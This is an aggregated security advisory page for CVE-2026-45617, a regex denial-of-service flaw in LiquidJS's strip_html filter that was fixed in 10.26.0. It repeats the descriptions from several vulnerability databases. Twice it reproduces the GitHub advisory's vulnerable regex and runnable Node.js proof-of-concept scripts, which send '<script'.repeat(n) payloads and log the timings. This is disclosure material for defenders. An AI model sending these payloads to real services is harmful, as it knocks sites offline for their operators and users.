CVE-2026-45617
LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded. A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded. A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45617- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2026-37823
7.5
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded. A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.
- Record
EUVD-2026-37823- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r7g9-xpmj-5fcq
7.5
LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
Summary
The built-in strip_html filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.
Details
The vulnerable filter is at src/filters/html.ts:45-49:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}
The regex contains four lazy patterns:
<script[\s\S]*?<\/script><style[\s\S]*?<\/style><.*?><!--[\s\S]*?-->
For an input like '<script'.repeat(N), the engine encounters N starting < positions. At each one it must lazily expand [\s\S]*? (and .*?) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).
Reachability:
strip_htmlis a default-registered filter (exported fromsrc/filters/html.ts, wired up viasrc/filters/index.ts), invocable from any template via{{ x | strip_html }}.- The filter calls
String.prototype.replacewith the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. - The default
memoryLimitisInfinity(src/liquid-options.ts:198); the filter only chargesstr.lengthagainst memory (line 47), which does not bound CPU work for regex backtracking.
This is distinct from GHSA-45rm-2893-5f49 (prototype property leak, CWE-200) and from any prior replace/strip_html issues — the mechanism here is regex backtracking CPU consumption on a different filter.
PoC
Empirical scaling confirmed against a freshly built [email protected] bundle on Node 22 / Linux:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const payload = '<script'.repeat(n);
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
}
})();
"
Verified output:
n=1000 inputLen=7000 ms=5
n=2000 inputLen=14000 ms=12 (2.4x for 2x size)
n=4000 inputLen=28000 ms=46 (3.8x for 2x size)
n=8000 inputLen=56000 ms=187 (4.0x for 2x size)
n=16000 inputLen=112000 ms=737 (3.9x for 2x size)
A larger payload extrapolates straightforwardly:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
const payload = '<script'.repeat(50000); // 350 KB
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('elapsed ms:', Date.now() - t0);
})();
"
# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)
The same pathology applies to <style and <!-- openers.
Impact
- Single-request DoS: A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.
- Trivial amplification: Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.
- No authentication required: The typical use case for
strip_htmlis sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content throughstrip_htmlis exposed. -…
- Record
GHSA-r7g9-xpmj-5fcq- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
7.5
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded. A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45617- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
7.5
LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded. A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45617- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVGHSA-r7g9-xpmj-5fcq
7.5
LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
Summary
The built-in strip_html filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.
Details
The vulnerable filter is at src/filters/html.ts:45-49:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}
The regex contains four lazy patterns:
<script[\s\S]*?<\/script><style[\s\S]*?<\/style><.*?><!--[\s\S]*?-->
For an input like '<script'.repeat(N), the engine encounters N starting < positions. At each one it must lazily expand [\s\S]*? (and .*?) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).
Reachability:
strip_htmlis a default-registered filter (exported fromsrc/filters/html.ts, wired up viasrc/filters/index.ts), invocable from any template via{{ x | strip_html }}.- The filter calls
String.prototype.replacewith the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. - The default
memoryLimitisInfinity(src/liquid-options.ts:198); the filter only chargesstr.lengthagainst memory (line 47), which does not bound CPU work for regex backtracking.
This is distinct from GHSA-45rm-2893-5f49 (prototype property leak, CWE-200) and from any prior replace/strip_html issues — the mechanism here is regex backtracking CPU consumption on a different filter.
PoC
Empirical scaling confirmed against a freshly built [email protected] bundle on Node 22 / Linux:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const payload = '<script'.repeat(n);
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
}
})();
"
Verified output:
n=1000 inputLen=7000 ms=5
n=2000 inputLen=14000 ms=12 (2.4x for 2x size)
n=4000 inputLen=28000 ms=46 (3.8x for 2x size)
n=8000 inputLen=56000 ms=187 (4.0x for 2x size)
n=16000 inputLen=112000 ms=737 (3.9x for 2x size)
A larger payload extrapolates straightforwardly:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
const payload = '<script'.repeat(50000); // 350 KB
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('elapsed ms:', Date.now() - t0);
})();
"
# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)
The same pathology applies to <style and <!-- openers.
Impact
- Single-request DoS: A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.
- Trivial amplification: Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.
- No authentication required: The typical use case for
strip_htmlis sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content throughstrip_htmlis exposed. -…
- Record
GHSA-r7g9-xpmj-5fcq- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
liquidjsnpm |
before 10.26.0 | 10.26.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45617 is a high vulnerability (CVSS 7.5) in Harttle Liquidjs, published May 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 39th percentile. Fixed in liquidjs 10.26.0.
References
github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq
github.com/harttle/liquidjs/commit/3616a744b9abeb425c217b340a2397d46176afb8
github.com/harttle/liquidjs/releases/tag/v10.26.0
nvd.nist.gov/vuln/detail/CVE-2026-45617
github.com/advisories/GHSA-r7g9-xpmj-5fcq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45617.json
github.com/harttle/liquidjs
Left out here: the rest of 2 source descriptions. The JSON record has them.